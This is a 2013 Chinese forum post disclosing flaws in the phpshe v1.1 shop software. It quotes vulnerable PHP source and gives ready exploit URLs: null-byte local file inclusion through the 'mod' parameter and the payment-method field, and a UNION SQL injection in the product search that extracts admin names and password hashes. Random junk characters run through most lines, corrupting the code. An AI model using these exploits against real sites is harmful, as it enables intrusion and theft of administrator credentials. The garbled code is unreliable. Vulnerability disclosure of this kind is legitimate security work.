找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2329|回复: 0
打印 上一主题 下一主题

phpshe v1.1多处SQL注入和文件包含漏洞Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-19 19:01:54 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
/*******************************************************/
$ V6 X4 S7 a1 G, S/ t, h/* Phpshe v1.1 Vulnerability
- J  F$ C' P/ n9 A/* ========================  m3 {: R; i; }7 O( I; a: _
/* By: : Kn1f3& b5 b) e, {; T' q: L
/* E-Mail : 681796@qq.com' q. u1 s% i5 S, x
/*******************************************************/3 h- f% O7 B8 Y( F2 y2 D
0×00 整体大概参数传输9 \1 Q5 a8 s/ W

  Z) n4 @/ M2 C6 S7 p+ ]3 N. B* z/ a. q1 ]- G, P9 s
  _7 ]- ~) P8 Z
//common.php: ?  l( |1 D3 z
if (get_magic_quotes_gpc()) {$ I3 X' D: b% [  J6 M
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');. V% k) c$ ]5 c3 d- x
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
9 h! I9 T" C6 n- B0 \}
1 ]: m: t* _- \2 x% ?  `else {8 J  t$ [  p2 G: y( V* F  G
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
% y- P0 G' I# a6 A" o6 C; ?!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');( R8 v# a; l8 Y8 t# N  ?, U& z: Q- d, I
}
( L8 L7 ~: B& H0 d5 N! w. K+ O3 X$ fsession_start();
9 j) g6 q' Y' e. M# }!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
7 O4 s" @! r9 H% m0 J* Z!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');: g, W; A5 N, k2 T

2 f) O6 S2 a) j, Z0×01 包含漏洞! l# c! ?! K  j0 d  ~2 M3 K

1 Z* F7 Z% Q$ F9 }2 Q* n5 G$ q
7 I" V( P5 L4 y* \: [1 w( z) f
//首页文件
8 E" L+ g  k! Z' G5 }<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
9 l) e% a. G0 L* y0 j6 {- sinclude("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
2 P* w& E: d* ]" v5 j; Epe_result();$ F$ T, l& g  L8 N. R
?>
! L  G7 R: |% Q//common 文件 第15行开始0 L  e. c4 G  s) A
url路由配置9 x) F9 F8 C, a
$module = $mod = $act = 'index';
! G7 k6 h$ X2 L' d7 [2 \: ]1 e$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);$ B5 B  f) O3 M3 q% x2 c- t
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
1 S" d1 z1 X0 v- v% A7 E9 J$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);! X6 N5 g, W: M5 C" i3 M0 j
//exp:http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00
& S4 ]; v5 W# ?3 }9 o) Z6 M! j8 x0 C) j

) @0 Q4 d6 _3 e6 x0 X' j
/ d% K" j9 B8 [* }; m
0×02 搜索注入
& y' D6 M* q* e# Z! r- D5 x
( r. p& i: l6 j3 S/ l9 J<code id="code2">

//product.php文件
2 `2 y  ]8 \; |: Dcase 'list':
8 r" T: o: O, i: Y. B1 L7 K3 [$category_id = intval($id);
8 _2 s3 O$ W0 Q$info = $db->pe_select('category', array('category_id'=>$category_id));0 P9 b: E0 |9 E2 ]
//搜索
* V" P* K+ g7 Y% _& ?  Z$sqlwhere = " and `product_state` = 1";
# R! ^. ^; t8 n2 ]/ k  @% R, L1 ?6 h: jpe_lead('hook/category.hook.php');) E, E9 E6 j5 W. U
if ($category_id) {# B+ P0 {* j! G. T3 A( J- B
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
6 D# v1 u- \- O! Q: Q# k, U}5 q5 q: ]- H; J' }1 o
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤' j- b, s  v, k% F* [
if ($_g_orderby) {4 H  I3 l3 p4 {3 c* k" h$ t
$orderby = explode('_', $_g_orderby);! q% q+ V( @* a
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
- d1 g% F1 A, m}, F7 Q+ T; C' W* n. v8 P
else {
* H( S% w  S+ t; a$sqlwhere .= " order by `product_id` desc";
; j0 }9 D: Z/ k* x$ V& S}
# _; v0 s2 S! H8 u. ~7 T4 I$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));% g5 s* N: d4 J. u% B5 K* A3 y
//热卖排行
7 f  T8 f7 L% T2 ~3 s6 [$product_hotlist = product_hotlist();- I" A, B9 Q/ {% J) r$ S
//当前路径1 \7 K. j/ I% n8 z4 G
$nowpath = category_path($category_id);
# @8 e4 m8 a4 b" A$seo = pe_seo($info['category_name']);
4 x5 C) `. h1 ^- H5 j4 minclude(pe_tpl('product_list.html'));
1 Z" J1 \0 Y( B//跟进selectall函数库
1 l" D6 P, a; K$ A8 z1 Vpublic function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
- x# k& y: k; U; ?. W2 \# l6 \! k{
  Y3 j, b' T7 a) A1 D% A//处理条件语句
1 E9 G3 O8 t) f$sqlwhere = $this->_dowhere($where);( p  q- ?1 N" s2 A3 I& n( p
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);" _& I; H' o) I8 @4 F6 n3 j1 f
}
$ i' l) ?3 Z6 g: m& v# ^- y//exp6 e: f& w$ w$ F7 B) h6 w
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1( A6 U+ E8 i$ E( D: g8 u

</code>3 c$ F9 w; @0 \8 t/ @* C# x

2 A# g  g' |) K  ~+ _/ Y0×03 包含漏洞22 p% l' V- X: `1 F! |
( X3 @  ]$ c$ e" N, ^' B9 l) V
<code id="code3">

//order.php

case 'pay':


1 s( j2 @; [9 `  S- F9 ~$order_id = pe_dbhold($_g_id);

6 U4 f3 \/ [+ R4 Q8 z6 R5 p
$cache_payway = cache::get('payway');


7 M9 p5 G" V& w! |, }, o/ Y) g: p  Pforeach($cache_payway as $k => $v) {


5 H! g) I5 B! w$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

3 y3 F; U0 M3 E& g
if ($k == 'bank') {

, g  E4 P9 @7 \+ o
$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

0 B' K9 b# r! O
}


2 B  O8 ^: o! [- ?6 O}

5 Y8 a! e4 S' [
$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

) y  ^* w1 o/ V0 ?( q. O
!$order['order_id'] && pe_error('订单号错误...');


$ {0 G9 ~+ E$ F( tif (isset($_p_pesubmit)) {

) i$ y8 k( m; @7 r% ^
if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {


8 P5 v0 f: |  H" R$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

! z) x- n, H* J0 J
foreach ($info_list as $v) {

4 i, N; p3 |  |( ~6 Y7 x6 L+ u
$order['order_name'] .= "{$v['product_name']};";+ o5 Y" X5 v# Q4 R& K9 y4 Y' z


% ^/ I& _. f& ?3 m# B}


# r0 R% w$ P# H# N! hecho '正在为您连接支付网站,请稍后...';

) E6 O% [4 U2 I, s3 v$ E
include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

) g& K* G  a; Z+ E- r" J8 H
}//当一切准备好的时候就可以进行"鸡肋包含了"

0 t1 |/ O4 _# j& K* x' `
else {

! ]  R0 F) Q5 M5 u% p6 M# |
pe_error('支付错误...');


  O0 ]3 A$ T1 Z. r  T- e5 F}

" g: H0 Z5 F6 B) V8 y; X7 o! G
}

4 _1 P5 Y1 c! G; [: R2 E2 |+ b( F5 x
$seo = pe_seo('选择支付方式');

0 B+ _- ?4 l7 q: ?
include(pe_tpl('order_pay.html'));


7 ~3 r& |, T  E% Hbreak;

}

//exp:

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
1 N/ ~) c" t2 I1 R

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表